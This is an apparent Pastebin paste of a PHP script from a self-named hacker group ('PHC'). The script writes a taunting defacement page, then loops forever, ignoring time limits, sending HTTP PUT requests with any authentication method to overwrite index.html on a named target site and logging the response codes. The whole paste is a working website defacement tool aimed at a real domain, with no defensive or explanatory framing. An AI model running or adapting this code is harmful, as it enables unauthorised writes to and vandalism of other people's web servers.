Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ignore_user_abort(1);
- ini_set('max_execution_time', '0');
- set_time_limit(0);
- $url1 = "http://my-resume.biz/";
- $isi = 'hey hejes ,<a href="https://m.facebook.com/DuniaSiberPhc/">PHC</a> here :) ...';
- $filename = "index.html";
- $taz = fopen("sementara.phi", "w+");
- fwrite($taz, $isi);
- fclose($taz);
- $filepath = "sementara.phi";
- $filesize = filesize($filepath);
- $fh = fopen($filepath, 'r');
- //tuk curl hejes
- function phc($url)
- {
- global $filename;
- global $isi;
- global $filepath;
- global $fh;
- global $filesize;
- global $taz;
- $ch = curl_init($url ."/". $filename);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
- curl_setopt($ch, CURLOPT_PUT, true);
- curl_setopt($ch, CURLOPT_INFILE, $fh);
- curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
- curl_setopt($ch, CURLOPT_TIMEOUT, 30);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- $cek = curl_exec($ch);
- $err = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- curl_close($ch);
- return $err;
- }
- while(1)
- {
- $exp = explode(",", $url1);
- foreach($exp as $usp)
- {
- $ta = phc($usp);
- $file = fopen("hejes.txt","a+");
- fwrite($file, $ta.PHP_EOL);
- fclose($file);
- }
- }
- fclose($fh);
- unlink("sementara.phi");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement